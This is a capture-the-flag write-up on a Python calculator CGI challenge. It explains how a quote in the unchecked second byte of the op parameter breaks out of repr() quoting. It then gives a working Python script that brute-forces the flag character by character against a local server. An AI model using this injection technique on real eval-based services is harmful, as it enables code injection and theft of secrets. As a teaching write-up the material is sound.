Introduction
This post is based on the write-up given by p4 team [1].
Vulnerability Analysis
The server.py is given in this challenge. For the parameter, the server script will check if those values are valid or not as below:
def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val
We can find that parameter op, value1 and value2 are checked against a blacklist. op should contain 2 bytes but only the first byte is checked against the blacklist.
Then we come to the injection point of this challenge as below:
calc_eval = str(repr(value1)) + str(op) + str(repr(value2)) print('>>>> print('+escape(calc_eval)+')')
We can find that value1 and value2 are encoded by repr function here. To put it simple, an extra ‘ will be added to the string.
For example, repr(“AAAA”) = ‘AAAA’
According to [1], the techniques used here is very similar to the techniques in SQL injection. We can set the second byte in op to be ‘ to change the quotation in calc_eval
For example, if value1 = “AAAA”, op=”+'”, value2=”+BBBB#”, the formula used for evaluation will be: ‘AAAA’+”+BBBB#’.
{‘AAAA’} comes from value1, {+’} comes from op and {‘+BBBB#’} comes from value2. Since # is the comment symbol in python, the last quote will be ignored.
Another trick used in [1] is to use the value in source. During the exploitation, the value in source can still be set.
Therefore the final calc_eval used for exploitation is ‘x’+”+FLAG and FLAG>source#’
When the return value is true, the character checked in previous round is the target character.
Exploitation
import re import string import urllib import requests def exploit(): flag = "M" for r in range(0, 0x30): prev = 0 for i in range(0, 0x7f): c = chr(i) if c in string.printable: source = urllib.quote(flag + c) arg1 = "x"; op = "+'"; arg2 = "+FLAG and FLAG>source#"; #print(repr(arg1)) + str(op) + str(repr(arg2)) link = "http://localhost/cgi-bin/server1.py?source=%s&value1=%s&op=%s&value2=%s" % (source, urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2)); result = requests.get(link).text if ">>>>" in result: if "False" in result: flag += prev print(flag) break else: prev = c exploit();
Conclusion
The final exploit is running on my local machine. After digging deeper in web challenges, I will give a write-up on setting environment.